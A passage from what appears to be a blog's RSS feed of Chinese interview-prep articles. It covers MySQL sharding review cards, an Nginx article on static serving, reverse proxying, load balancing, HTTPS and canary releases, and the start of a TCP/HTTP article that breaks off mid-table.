&lt;h2&gt;分库分表&lt;/h2&gt;
&lt;h3&gt;Q11: 什么时候需要分库分表？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;单表数据量 &amp;gt; 2000万&lt;/td&gt;
&lt;td&gt;水平分表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;单库并发 &amp;gt; 2000&lt;/td&gt;
&lt;td&gt;分库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;读写比例悬殊&lt;/td&gt;
&lt;td&gt;读写分离&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;垂直分库：按业务拆分
┌─────────────────┐    ┌──────┐ ┌──────┐ ┌──────┐
│   单一数据库    │ →  │用户库│ │订单库│ │商品库│
└─────────────────┘    └──────┘ └──────┘ └──────┘

水平分表：按规则分散数据
┌─────────────────┐    ┌────────┐ ┌────────┐ ┌────────┐
│   orders 表     │ →  │orders_0│ │orders_1│ │orders_2│
│   (1亿条)       │    │(hash)  │ │(hash)  │ │(hash)  │
└─────────────────┘    └────────┘ └────────┘ └────────┘

读写分离：
写 → 主库 → 同步 → 从库1（读）
                  → 从库2（读）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;B+ 树&lt;/td&gt;
&lt;td&gt;叶子节点存数据，链表便于范围查询&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;聚簇索引&lt;/td&gt;
&lt;td&gt;主键索引，数据即索引&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;回表&lt;/td&gt;
&lt;td&gt;二级索引查主键，再查完整数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;最左前缀&lt;/td&gt;
&lt;td&gt;联合索引必须从最左列开始&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACID&lt;/td&gt;
&lt;td&gt;原子性、一致性、隔离性、持久性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;隔离级别&lt;/td&gt;
&lt;td&gt;MySQL 默认 REPEATABLE READ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MVCC&lt;/td&gt;
&lt;td&gt;多版本并发控制，非锁定读&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EXPLAIN&lt;/td&gt;
&lt;td&gt;type: ALL 最差，const 最好&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;索引失效&lt;/td&gt;
&lt;td&gt;函数、类型转换、LIKE &apos;%x&apos;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-11-backend/&quot;&gt;后端知识面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖 RESTful API 设计、Node.js、Java 基础、微服务等前端工程师需要了解的后端知识。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Nginx 面试题（中高级前端必备）</title><link>http://117.72.32.87/blog/posts/interview-guide-09-nginx/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-09-nginx/</guid><description>讲解 Nginx 反向代理、负载均衡、静态资源配置、SPA 路由、HTTPS、性能优化等前端工程师必备知识。</description><pubDate>Wed, 16 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道 Nginx 面试题，重点覆盖前端工程师需要掌握的部分，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Nginx 基础&lt;/h2&gt;
&lt;h3&gt;Q1: Nginx 是什么？主要用途？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nginx 是一个高性能的 HTTP 和反向代理服务器，特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高并发&lt;/strong&gt;：事件驱动架构，单进程处理数万连接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低内存&lt;/strong&gt;：相比 Apache，内存消耗极低&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高可靠&lt;/strong&gt;：7x24 小时运行，热部署&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模块化&lt;/strong&gt;：功能通过模块扩展&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;前端工程师使用场景：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;静态资源服务&lt;/td&gt;
&lt;td&gt;托管 HTML/CSS/JS/图片&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;反向代理&lt;/td&gt;
&lt;td&gt;将 API 请求转发到后端&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;负载均衡&lt;/td&gt;
&lt;td&gt;分发请求到多台服务器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS 终止&lt;/td&gt;
&lt;td&gt;SSL/TLS 证书配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gzip 压缩&lt;/td&gt;
&lt;td&gt;减小传输体积&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SPA 路由&lt;/td&gt;
&lt;td&gt;history 模式配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;缓存&lt;/td&gt;
&lt;td&gt;静态资源缓存控制&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q2: Nginx 的架构？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;                    ┌─────────────────────┐
                    │    Master Process    │
                    │  (管理 Worker 进程)  │
                    └──────────┬──────────┘
                               │
           ┌───────────────────┼───────────────────┐
           │                   │                   │
    ┌──────▼──────┐    ┌──────▼──────┐    ┌──────▼──────┐
    │   Worker 1  │    │   Worker 2  │    │   Worker N  │
    │ (单线程)    │    │ (单线程)    │    │ (单线程)    │
    │ 事件驱动    │    │ 事件驱动    │    │ 事件驱动    │
    │ 非阻塞 I/O  │    │ 非阻塞 I/O  │    │ 非阻塞 I/O  │
    └─────────────┘    └─────────────┘    └─────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# nginx.conf 全局配置
worker_processes auto;        # Worker 进程数（auto = CPU 核心数）
worker_connections 65535;     # 每个 Worker 最大连接数

events {
    use epoll;                # Linux 高效事件模型
    multi_accept on;          # 一次接受多个连接
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;静态资源服务&lt;/h2&gt;
&lt;h3&gt;Q3: 如何配置静态资源服务？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;server {
    listen 80;
    server_name example.com;
    
    # 静态文件根目录
    root /var/www/blog/dist;
    index index.html;
    
    # 静态资源配置
    location / {
        try_files $uri $uri/ /index.html;
    }
    
    # 带 hash 的静态资源：强缓存 1 年
    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
        expires 1y;
        add_header Cache-Control &quot;public, max-age=31536000, immutable&quot;;
        access_log off;
    }
    
    # HTML 文件：不缓存（每次协商）
    location ~* \.html$ {
        add_header Cache-Control &quot;no-cache, no-store, must-revalidate&quot;;
        add_header Pragma &quot;no-cache&quot;;
        expires 0;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: SPA 应用（history 模式）如何配置？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Vue Router / React Router history 模式
# 问题：直接访问 /user/profile 返回 404
# 原因：Nginx 找不到对应文件，需要将所有路由指向 index.html

server {
    listen 80;
    server_name spa.example.com;
    root /var/www/spa/dist;
    
    location / {
        # 核心：try_files 找不到文件就返回 index.html
        try_files $uri $uri/ /index.html;
    }
    
    # API 代理
    location /api/ {
        proxy_pass http://backend:3000/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;try_files 指令解析：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;try_files $uri $uri/ /index.html;

# 执行顺序：
# 1. 尝试找文件 $uri（如 /assets/app.js）
# 2. 尝试找目录 $uri/（如 /assets/）
# 3. 都找不到，返回 /index.html（交给前端路由处理）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: 多项目部署（子路径）如何配置？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 场景：同一服务器部署多个前端项目
# http://example.com/       -&amp;gt; 主站
# http://example.com/blog/  -&amp;gt; 博客
# http://example.com/admin/ -&amp;gt; 后台管理

server {
    listen 80;
    server_name example.com;
    
    # 主站
    location / {
        root /var/www/main/dist;
        try_files $uri $uri/ /index.html;
    }
    
    # 博客（子路径）
    location /blog/ {
        alias /var/www/blog/dist/;
        index index.html;
        try_files $uri $uri/ /blog/index.html;
    }
    
    # 后台管理（子路径）
    location /admin/ {
        alias /var/www/admin/dist/;
        index index.html;
        try_files $uri $uri/ /admin/index.html;
    }
}

# 注意：alias vs root 的区别
# root：拼接完整路径 root + location
# alias：替换 location 部分
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;反向代理&lt;/h2&gt;
&lt;h3&gt;Q6: 什么是反向代理？如何配置？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;反向代理是代理&lt;strong&gt;服务端&lt;/strong&gt;，客户端不知道真实服务器地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端 → Nginx（反向代理）→ 后端服务器1
                          → 后端服务器2
                          → 后端服务器3
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;server {
    listen 80;
    server_name example.com;
    
    # API 反向代理
    location /api/ {
        proxy_pass http://localhost:3000/;
        
        # 传递真实客户端信息
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        # 超时配置
        proxy_connect_timeout 30s;
        proxy_read_timeout 60s;
        proxy_send_timeout 60s;
        
        # 重写路径（去掉 /api 前缀）
        # /api/users -&amp;gt; /users
        rewrite ^/api/(.*)$ /$1 break;
    }
    
    # WebSocket 代理
    location /ws/ {
        proxy_pass http://localhost:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection &quot;upgrade&quot;;
        proxy_read_timeout 86400;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: proxy_pass 末尾有无斜杠的区别？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 无斜杠：保留 location 路径
location /api/ {
    proxy_pass http://backend;
}
# /api/users -&amp;gt; http://backend/api/users

# 有斜杠：替换 location 路径
location /api/ {
    proxy_pass http://backend/;
}
# /api/users -&amp;gt; http://backend/users

# 带路径
location /api/ {
    proxy_pass http://backend/v1/;
}
# /api/users -&amp;gt; http://backend/v1/users
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;负载均衡&lt;/h2&gt;
&lt;h3&gt;Q8: Nginx 负载均衡策略？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 轮询（默认）
upstream backend {
    server 192.168.1.1:3000;
    server 192.168.1.2:3000;
    server 192.168.1.3:3000;
}

# 2. 加权轮询
upstream backend {
    server 192.168.1.1:3000 weight=3;  # 权重高，分配多
    server 192.168.1.2:3000 weight=1;
    server 192.168.1.3:3000 weight=1;
}

# 3. IP Hash（同一 IP 固定到同一服务器，解决 Session 问题）
upstream backend {
    ip_hash;
    server 192.168.1.1:3000;
    server 192.168.1.2:3000;
}

# 4. 最少连接
upstream backend {
    least_conn;
    server 192.168.1.1:3000;
    server 192.168.1.2:3000;
}

# 5. 健康检查 + 故障转移
upstream backend {
    server 192.168.1.1:3000 max_fails=3 fail_timeout=30s;
    server 192.168.1.2:3000 max_fails=3 fail_timeout=30s;
    server 192.168.1.3:3000 backup;  # 备用服务器
}

# 使用
server {
    location /api/ {
        proxy_pass http://backend;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;HTTPS 配置&lt;/h2&gt;
&lt;h3&gt;Q9: 如何配置 HTTPS？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# HTTP 强制跳转 HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

# HTTPS 配置
server {
    listen 443 ssl http2;
    server_name example.com;
    
    # SSL 证书
    ssl_certificate     /etc/nginx/ssl/example.com.crt;
    ssl_certificate_key /etc/nginx/ssl/example.com.key;
    
    # SSL 优化
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    
    # HSTS（强制 HTTPS）
    add_header Strict-Transport-Security &quot;max-age=31536000; includeSubDomains&quot; always;
    
    # 安全头
    add_header X-Frame-Options &quot;SAMEORIGIN&quot; always;
    add_header X-Content-Type-Options &quot;nosniff&quot; always;
    add_header X-XSS-Protection &quot;1; mode=block&quot; always;
    
    root /var/www/dist;
    index index.html;
    
    location / {
        try_files $uri $uri/ /index.html;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;性能优化&lt;/h2&gt;
&lt;h3&gt;Q10: Nginx 性能优化手段？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. Gzip 压缩
gzip on;
gzip_vary on;
gzip_min_length 1024;           # 小于 1KB 不压缩
gzip_comp_level 6;              # 压缩级别 1-9
gzip_types
    text/plain
    text/css
    text/javascript
    application/javascript
    application/json
    application/xml
    image/svg+xml;

# 2. 开启文件缓存
open_file_cache max=1000 inactive=20s;
open_file_cache_valid 30s;
open_file_cache_min_uses 2;

# 3. 客户端缓存
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
    expires 1y;
    add_header Cache-Control &quot;public, immutable&quot;;
}

# 4. 连接优化
keepalive_timeout 65;           # 长连接超时
keepalive_requests 1000;        # 每个连接最大请求数
client_max_body_size 10m;       # 上传文件大小限制

# 5. Worker 优化
worker_processes auto;          # CPU 核心数
worker_connections 65535;       # 最大连接数
worker_rlimit_nofile 65535;     # 文件描述符限制

# 6. 缓冲区优化
client_body_buffer_size 128k;
proxy_buffer_size 4k;
proxy_buffers 8 4k;

# 7. 禁用不必要的日志
access_log off;                 # 静态资源关闭访问日志
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q11: 如何实现灰度发布 / A-B 测试？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 基于 Cookie 的灰度发布
map $http_cookie $version {
    default         &quot;stable&quot;;
    &quot;~*version=new&quot; &quot;canary&quot;;
}

upstream stable {
    server 192.168.1.1:3000;
}

upstream canary {
    server 192.168.1.2:3000;
}

server {
    location / {
        if ($version = &quot;canary&quot;) {
            proxy_pass http://canary;
        }
        proxy_pass http://stable;
    }
}

# 基于权重的灰度（10% 流量到新版本）
upstream backend {
    server 192.168.1.1:3000 weight=9;  # 旧版本 90%
    server 192.168.1.2:3000 weight=1;  # 新版本 10%
}

# 基于 Header 的灰度
map $http_x_version $backend {
    default &quot;stable_backend&quot;;
    &quot;v2&quot;    &quot;canary_backend&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常用命令&lt;/h2&gt;
&lt;h3&gt;Q12: Nginx 常用命令？⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 检查配置是否正确
nginx -t

# 重新加载配置（不中断服务）
nginx -s reload

# 停止
nginx -s stop        # 快速停止
nginx -s quit        # 优雅停止

# 查看进程
ps aux | grep nginx

# 查看日志
tail -f /var/log/nginx/access.log
tail -f /var/log/nginx/error.log

# 查看连接状态
netstat -anp | grep nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SPA 路由&lt;/td&gt;
&lt;td&gt;&lt;code&gt;try_files $uri $uri/ /index.html&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;反向代理&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxy_pass&lt;/code&gt;，注意末尾斜杠&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;负载均衡&lt;/td&gt;
&lt;td&gt;轮询、加权、IP Hash、最少连接&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;静态资源缓存&lt;/td&gt;
&lt;td&gt;hash 文件强缓存 1 年，HTML 不缓存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gzip&lt;/td&gt;
&lt;td&gt;压缩文本类资源，减小 70% 体积&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ssl_certificate&lt;/code&gt; + HTTP 301 跳转&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;灰度发布&lt;/td&gt;
&lt;td&gt;&lt;code&gt;map&lt;/code&gt; + &lt;code&gt;weight&lt;/code&gt; 或 Cookie/Header&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alias vs root&lt;/td&gt;
&lt;td&gt;alias 替换路径，root 拼接路径&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-10-mysql/&quot;&gt;MySQL 面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖索引原理、事务隔离级别、SQL 优化、锁机制等后端必备知识。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>网络与 HTTP 面试题（中高级）</title><link>http://117.72.32.87/blog/posts/interview-guide-08-network-http/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-08-network-http/</guid><description>深入讲解 TCP/IP、HTTP/1.1 vs HTTP/2、HTTPS 握手、缓存策略、跨域解决方案、Web 安全等高频面试题。</description><pubDate>Wed, 16 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 25+ 道网络与 HTTP 面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;TCP/IP 基础&lt;/h2&gt;
&lt;h3&gt;Q1: TCP 三次握手和四次挥手？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三次握手（建立连接）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端                          服务端
  │                               │
  │──── SYN(seq=x) ──────────────&amp;gt;│  第一次：客户端发起连接
  │                               │
  │&amp;lt;─── SYN+ACK(seq=y,ack=x+1) ──│  第二次：服务端确认并回应
  │                               │
  │──── ACK(ack=y+1) ────────────&amp;gt;│  第三次：客户端确认
  │                               │
  └───── 连接建立 ─────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么是三次而不是两次？&lt;/strong&gt; 防止过期的连接请求突然到达服务端，造成资源浪费。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;四次挥手（断开连接）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;客户端                          服务端
  │                               │
  │──── FIN(seq=u) ──────────────&amp;gt;│  第一次：客户端请求关闭
  │                               │
  │&amp;lt;─── ACK(ack=u+1) ────────────│  第二次：服务端确认（可能还有数据要发）
  │                               │
  │&amp;lt;─── FIN(seq=w) ──────────────│  第三次：服务端也请求关闭
  │                               │
  │──── ACK(ack=w+1) ────────────&amp;gt;│  第四次：客户端确认，等待 2MSL
  │                               │
  └───── 连接关闭 ─────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么是四次？&lt;/strong&gt; TCP 是全双工，两个方向需要分别关闭。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TIME_WAIT（2MSL）的作用：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;确保最后的 ACK 能到达对方（重传机制）&lt;/li&gt;
&lt;li&gt;让本次连接的残留数据包在网络中消散&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q2: TCP 和 UDP 的区别？⭐&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;TCP&lt;/th&gt;
&lt;th&gt;UDP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;连接&lt;/td&gt;
&lt;td&gt;面向连接&lt;/td&gt;
&lt;td&gt;无连接&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;可靠性&lt;/td&gt;
&lt;td&gt;可靠（重传、排序）&lt;/td&gt;
&lt;td&gt;不可靠&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;速度&lt;/td&gt;
&lt;td&gt;慢&lt;/td&gt;
&lt;td&gt;快&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;头部&lt;/td&gt;
&lt;td&gt;20 字节&lt;/td&gt;
&lt;td&gt;8 字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;流量控制&lt;/td&gt;
&lt;td&gt;有（滑动窗口）&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;应用场景&lt;/td&gt;
&lt;td&gt;HTTP、FTP、SMTP&lt;/td&gt;
&lt;td&gt;DNS、视频、游戏&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;HTTP 协议&lt;/h2&gt;
&lt;h3&gt;Q3: HTTP 请求方法有哪些？⭐ 🔥&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方法&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;幂等&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GET&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;获取资源&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;POST&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;创建资源&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;更新资源（全量）&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PATCH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;更新资源（部分）&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DELETE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;删除资源&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HEAD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;获取响应头&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OPTIONS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;预检请求&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 幂等性：多次请求产生相同结果
GET /users/1        // 幂等
DELETE /users/1     // 幂等（第一次成功，后续返回 404）
POST /users         // 不幂等（每次创建新用户）
PUT /users/1        // 幂等（全量更新，结果一致）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: HTTP 状态码分类？⭐ 🔥&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分类&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;常见状态码&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1xx&lt;/td&gt;
&lt;td&gt;信息&lt;/td&gt;
&lt;td&gt;100 Continue, 101 Switching Protocols&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2xx&lt;/td&gt;
&lt;td&gt;成功&lt;/td&gt;
&lt;td&gt;200 OK, 201 Created, 204 No Content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3xx&lt;/td&gt;
&lt;td&gt;重定向&lt;/td&gt;
&lt;td&gt;301 永久, 302 临时, 304 Not Modified&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4xx&lt;/td&gt;
&lt;td&gt;客户端错误&lt;/td&gt;
&lt;td&gt;400 参数错误, 401 未认证, 403 无权限, 404 不存在&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5xx&lt;/td&gt;
&lt;td&gt;服务端错误&lt;/td&gt;
&lt;td&gt;500 内部错误, 502 网关错误, 503 服务不可用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 301 vs 302
// 301：永久重定向，浏览器缓存，SEO 权重转移
// 302：临时重定向，不缓存

// 304：协商缓存命中，不返回 body
// 502 vs 504
// 502：上游服务返回无效响应
// 504：上游服务超时
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: HTTP/1.1、HTTP/2、HTTP/3 的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;HTTP/1.1&lt;/th&gt;
&lt;th&gt;HTTP/2&lt;/th&gt;
&lt;th&gt;HTTP/3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;连接&lt;/td&gt;
&lt;td&gt;长连接（Keep-Alive）&lt;/td&gt;
&lt;td&gt;多路复用&lt;/td&gt;
&lt;td&gt;多路复用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;传输层&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;TCP&lt;/td&gt;
&lt;td&gt;QUIC (UDP)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;头部&lt;/td&gt;
&lt;td&gt;文本，重复&lt;/td&gt;
&lt;td&gt;HPACK 压缩&lt;/td&gt;
&lt;td&gt;QPACK 压缩&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
